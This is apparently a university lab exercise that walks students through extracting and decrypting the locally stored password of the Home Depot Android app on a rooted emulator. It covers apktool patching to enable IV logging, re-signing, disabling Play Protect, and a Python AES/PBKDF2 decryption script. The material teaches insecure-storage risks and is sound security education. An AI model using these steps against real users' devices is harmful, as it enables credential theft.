WARNING
This project may be frustrating, because there are two versions of the Home Depot app that appear randomly on devices. One of them contains four files, as shown below. The other one contains only one file. Also, the number of "x" characters in the filenames changes. So it's nearly impossible to write instructions that work for beginning students. Therefore this project is now treated as extra credit.
Note for Windows Users
Use Nox, not Bluestacks, because you need to be root.
On 3-19-19, the app seems to have updated, so I recommend using the archived copy.
Using the app, I made a test account with a password of P@ssw0rd
Archived Copy
In Kali, execute these commands:
wget https://samsclass.info/128/proj/hd.zip unzip hd.zip adb install-multiple -r base.apk split_config.en.apk split_config.x86.apk split_config.xxhdpi.apk
A box asks about sending push notifications. Tap OK.
A box asks about accessing your location, as shown below. Tap "DON'T ALLOW".
A oage asks for your zip code, as shown below. Enter 94112 and press Enter.
On the next page, click a store.
On the next page, click "CREATE ACCOUNT", as shown below.
On the next page, create an account with your name in the username and also in the password, as shown below.
Click REGISTER. Click "YES, CONTINUE".
A Google box pops up, asking whether to save your password with "Smart Lock", as shown below.
Click NEVER.
A "Thank You For Registering" page appears, as shown below.
adb shell
cd /data/data
cd com.thehomedepot
grep password -r .
exit
The stored password is revealed,
as shown below.
It's encrypted, but improperly, as we will see below.
This is the #2 most important security vunerability on mobile devices, according to OWASP.
If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.
The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Home Depot, and making a simple Python script that decrypts the password.
If you are using Nox, the app may be in a single APK file
adb shell pm list packages | grep dep
adb shell pm path com.thehomedepot
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/base.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.en.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.x86.apk
adb pull /data/app/com.thehomedepot-mhLAfskNSRfGPSZs3NZkrw==/split_config.xxhdpi.apk
apktool d -f -r base.apk
grep -r encrypted_password .
The module that encrypts the password appears,
as highlighed in the image below.
nano ./base/smali_classes2/com/thehomedepot/core/utils/EncryptionUtil.smali
The module that encrypts the password appears.
Note these items,
highlighted in the image below:
Looking further down in the code shows a fun way to hack this app. When I hacked it in 2017, I added Trojan code to log the encryption parameters, but this time we'll use the logging function Home Depot put there for us :)
The "encrypt" method shown below encrypts the password using AES:
And it has a logging function, which inserts the label "IV: " followed by the initialization vector into the log, as shown below.
nano ./base/smali/com/thehomedepot/Environment.smali
In nano, press Ctrl_W and type the search
string canlog
as shown below.
Press Enter. The "canLog" function appears, as shown below.
Change the constant from "0x0" to "0x1", as shown below.
Type Ctrl+X, Y, Enter to save the file.
apktool d -f -r split_config.en.apk
apktool d -f -r split_config.x86.apk
apktool d -f -r split_config.xxhdpi.apk
apktool b split_config.en
apktool b split_config.x86
apktool b split_config.xxhdpi
apktool b base
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
A prompt asks for a "keystore password". Enter
password twice.
Then a series of question asks for your name, etc. You can press Enter for each question except the last one, which you must answer yes to, as shown below.
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.en/dist/split_config.en.apk alias_name
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.x86/dist/split_config.x86.apk alias_name
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
split_config.xxhdpi/dist/split_config.xxhdpi.apk alias_name
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore \
base/dist/base.apk alias_name
adb install-multiple -r base/dist/base.apk \
split_config.en/dist/split_config.en.apk \
split_config.x86/dist/split_config.x86.apk \
split_config.xxhdpi/dist/split_config.xxhdpi.apk
TroubleshootingIf the install fails with an INSTALL_FAILED_VERIFICATION_FAILURE error, open Google Play in your Android device, click the three-bar icon on the top left.Click "Play Protect", as shown in the image on the left side below. Turn off "Scan device for security threats", as shown below.
|
adb logcat | grep Encrypt
The log shows the encryption parameters, as shown below.
Execute this command to open a shell on the Android device:
adb shell
Execute this command to get the encrypted_password
value:
grep -r encrypted_password /data/data/com.thehomedepot
Press Ctrl+C. Enter this command to exit
the Android shell:
exit
You see the "encrypted_password" value, as
shown above.Notice that it has three blobs of Base64-encoded text, highlighted in different colors in the image above.
python
a = "59CF147EDE54F6AE4B59A27C64C41E20"
b = a.decode("hex")
c = b.encode("base64")
print c
exit()
The Base64 value
as shown below.
Notice that this value matches the central blob of Base64 text in the "encrypted_password".
As will be proven below, the first blob of Base64 is the "salt", the second blob is the IV (Initialization Vector) and the third blob is the ciphertext--the encrypted password.
pip install pbkdf2
pip install pycrypto
nano homedepot.py
Paste in this code:
from Crypto.Cipher import AES
from pbkdf2 import PBKDF2
orig = raw_input("Enter encrypted_password: ")
d1 = orig.find("]")
d2 = orig.find("]", d1+1)
blob164 = orig[:d1]
blob264 = orig[d1+1:d2]
blob364 = orig[d2+1:]
salt = blob164.decode("base64")
iv = blob264.decode("base64")
ciphertext = blob364.decode("base64")
secret_key = PBKDF2('PUBLIC_PASSWORD_PBKDF2', salt).read(32)
print "SECRET KEY (from salt): ", secret_key.encode("hex")
print
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
n = len(decrypted)
pw = ''
for i in range(n):
if decrypted[i] > chr(8):
pw += decrypted[i]
print "Stored password: ", pw
Execute this command to open a shell on the Android device:
adb shell
Execute this command to get the encrypted_password
value:
grep -r encrypted_password /data/data/com.thehomedepot
Press Ctrl+C. Enter this command to exit
the Android shell:
exit
Copy and paste the encrypted_password value,
as shown below.
Execute this command to run your Python script:
python homedepot.py
Paste in the encrypted_password value,
and press Enter.
The password is recovered, containing your name, as shown below, and install it.
Save a full-desktop image. On a Mac, press Shift+Commmand+3. On a PC, press Shift+PrntScrn and paste into Paint.
YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!
Save the image with the filename "YOUR NAME Proj 13", replacing "YOUR NAME" with your real name.